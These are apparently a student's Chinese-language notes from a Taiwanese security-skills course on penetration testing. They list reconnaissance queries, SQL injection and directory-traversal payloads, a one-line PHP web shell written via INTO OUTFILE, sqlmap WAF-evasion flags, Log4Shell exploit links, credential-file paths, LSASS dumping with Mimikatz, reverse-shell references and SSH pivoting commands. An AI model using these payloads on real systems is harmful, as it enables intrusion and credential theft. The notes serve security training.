112年資安職能課程教育體系場次上課筆記整理,僅供參考!
教材版本:112年6月2版
教材內各項連結整理及堪誤
被動式蒐集或掃描:不直接接觸目標
site
filetype
cache
allinurl / inurl
allintitle / intitle
allinanchor / inanchor
link
related
info
location
-
運算符,過濾掉不想要的資料,例如:-site:gov.tw
http.title:"BIG-IP®-Redirect" country:"TW"
nslookup
set type=cname
set type=a
tracert
/ traceroute
snmpwalk -v1 -c public <ip>
snmpwalk -v2c -c public <ip>
主動式蒐集或掃描:直接接觸目標
FUZZ
取代字典檔找到的字串去做嘗試或測試/usr/share/seclists/Discovery/
「seclists字典檔」需先安裝: sudo apt install seclists
Fingerprint (有人翻譯為「指紋識別工具」,課本未著墨的地方)
whatweb -v -a 3 <domain_name>
whatweb --no-errors 192.168.0.0/24
whatweb --no-errors --url-prefix https:// 192.168.0.0/24
https://hackmd.io/@YuTingKung/HybuFMGGF
https://systw.net/note/archives/259
補充:CEH課文整理表格
items.php?id=101
items.php?id=101 and 1=0
items.php?id=101 and 1=1
DataBase | Command |
---|---|
MySQL | SELECT sleep(10) |
PostgreSQL | SELECT pg_sleep(10) |
MSSQL | WAITFOR DELAY '0:0:10' |
Oracle | dbms_pipe.receive_message(('a'),10) |
DataBase | Limitation |
---|---|
MySQL | PHP - Not Support Other - Support |
MSSQL | Support |
Oracle | Not Support |
'<?php system($_GET["command"]); ?>' INTO OUTFILE '/var/www/certifiedhacker.com/shell.php'/*
xp_cmdshell
命令執行系統指令(可開後門)。auxiliary/scanner/mssql/mssql_login
- 用於尋找有效的SQL Server憑證auxiliary/admin/mssql/mssql_exec
- 使用xp_cmdshell執行命令auxiliary/admin/mssql/mssql_enum
- 枚舉SQL Server信息,包括檢查xp_cmdshell是否啟用?id=1+un/**/ion+se/**/lect+1,2,3--
OR 1 = 1
改成OR 'john' = 'john'
--technique=TECH..
:所使用的SQL injection技術 (若沒設定,預設全部嘗試 "BEUSTQ"
)
--random-agent
:隨機變換 User-Agent,偏向於規避偵測--skip-waf
:不檢查目標應用是否有 WAF 或其他類型的入侵防禦系統(IPS)(不想浪費時間進行 WAF 檢測,這個參數可以加快掃描過程)--no-cast
:不自動嘗試進行類型轉換,而是保持原始數據格式 (在某些情況下,自動類型轉換可能會導致查詢結果不符合預期)--skip-heuristics
:不要進行這些啟發式檢測,直接進入更深入的測試階段--force-ssl
:強制使用 HTTPS 來發送請求,即使原始的 URL 是通過不安全的 HTTP 協議--common-tables
:利用內建字典檔猜--count
:先取得筆數--dump
:筆數沒有很多,再dump--level
:控制測試的深入程度,從 1 到 5,數字越高測試越全面。
--risk
:控制測試的風險等級,從 1 到 3,數字越高測試越具有破壞性。--current-user
--current-db
--is-dba
:當前使用者是否有管理許可權--referer
:HTTP Referer標頭偽造--os-cmd
或--os-shell
--file-read
--tamper
:對資料做修改來繞過WAF--identify-waf
:網站是否有安全防護進行試探https://portswigger.net/web-security/xxe
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE Injection
https://www.blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf
https://ithelp.ithome.com.tw/articles/10218939
資安這條路 06 - [Injection] Code injection - Local File Inclusion, Remote File Inclusion
PHP Remote File Inclusion
目錄遍歷(Directory traversal)
../../etc/passwd
。../../etc/passwd%00
,%00
為null byte。%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
。....//....//etc/passwd
。/usr/share/dirb/wordlists/common.txt
/usr/share/wordlists/*
sudo apt-get install seclists
/usr/share/seclists
alert()
或prompt()
來測試,若瀏覽器不支援改用print()
做測試。由 2013 年的兩項指標所合併的。
「不安全的物件參考(Insecure Direct Object References, IDOR)」
「不安全的功能控管(Missing Function Level Access Control)」
https://www.ithome.com.tw/news/148337
https://www.ithome.com.tw/news/148753
https://github.com/roxas-tan/CVE-2021-44228
https://github.com/marcourbano/CVE-2021-44228
https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2021-44228
https://blog.huli.tw/2021/12/18/what-is-log4j-and-log4shell/
ls -alh
:顯示所在資料夾下完整的檔案及目錄清單(含隱藏檔案)id
:查目前的帳號的uid、gid、groups等whoami
:查目前帳號名稱/etc/passwd
/etc/shadow
/etc/group
/etc/sudoers
/etc/motd
find . -type f -perm 0777 -print
~/.ssh/
.env
printenv
~/.bash_history
、/etc/profile
GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.
Linux binary 功能與特性查詢
PsExec.exe -s -i cmd.exe
Dumping Credentials from Lsass Process Memory with Mimikatz
Dumping Lsass Without Mimikatz
工作管理員 > 找lsass.exe > 右鍵 > 建立傾印檔案
取得Shell是很重要的技能與基本功
(課本)pentestmonkey - Reverse Shell Cheat Sheet
(課本)Internal All The Things - Reverse Shell Cheat Sheet
(課本)Reverse Shell Generator 會被防毒軟體擋掉
Reverse Shell Cheat Sheet 2024: A Hacking Guide
圖文並茂的 ssh tunnel 使用教學
SSH Tunneling (Port Forwarding) 詳解
SSH Tunneling 教學 - Local Port Forwarding, Remote Port Forwarding
ssh -L 9090:localhost:8080 <account>@<target_server>
ssh -L 9090:<target_server>:8080 <account>@<jump_server>
ssh -R 0.0.0.0:9090:localhost:8080 <account>@<external_server>
ssh -R 0.0.0.0:9090:<target_server>:8080 <account>@<external_server>
ssh -D 9090 <account>@<internal-machine>
/etc/proxychains.conf
proxychains <TCP類型的網路指令>
proxychains nmap <IP位址>
(補充) DNS Tunneling
CSHARP REVERSE SHELL
Reverse-Shell-CSharp
Simple_Rev_Shell.cs
目的:未來可供稽核驗證、保護測試人員、供後續報告撰寫使用。 (資安職能考題-複選)
Tmux Logging:進行指令log保存的套件工具 (資安職能考題)
官方文件參照
可能搭配union語法使用,將資料渲染到頁面上。
SQL語法與SQLMAP工具對照表
SQL語法 | SQLMAP指令工具 | |
---|---|---|
列舉資料庫 | select schema_name from information_schema.schemata; SELECT DISTINCT owner FROM all_tables; |
sqlmap -u "攻擊目標網址" --batch dbs |
列出個別資料庫裡的資料表 | select table_name from information_schema.tables where table_schema='資料庫名稱'; SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='資料庫名稱'; |
sqlmap -u "攻擊目標網址" --batch -D 資料庫名稱 --tables |
列出資料表裡的欄位名稱 | select column_name from information_schema.columns where table_schema='資料庫名稱' and table_name='資料表名稱'; SELECT COLUMN_NAME FROM ALL_TAB_COLUMNS WHERE OWNER='資料庫名稱' AND TABLE_NAME='資料表名稱'; |
sqlmap -u "攻擊目標網址" --batch -D 資料庫名稱 -T 資料表名稱 --columns |
取得資料表內容 | select * from 資料庫名稱.資料表名稱; |
sqlmap -u "攻擊目標網址" --batch -D 資料庫名稱 -T 資料表名稱 --dump |
sqlmap -u "https://xxx.com" --identify-waf --batch
wafw00f https://xxx.com
whatwaf -u https://xxx.com
nmap -p 80,443 --script=http-waf-fingerprint xxx.com
nmap xxx.com --script=http-waf-detect
http-waf-fingerprint
可提供更精確的防火牆名稱與版本,但是不一定每個防火牆都可以抓得到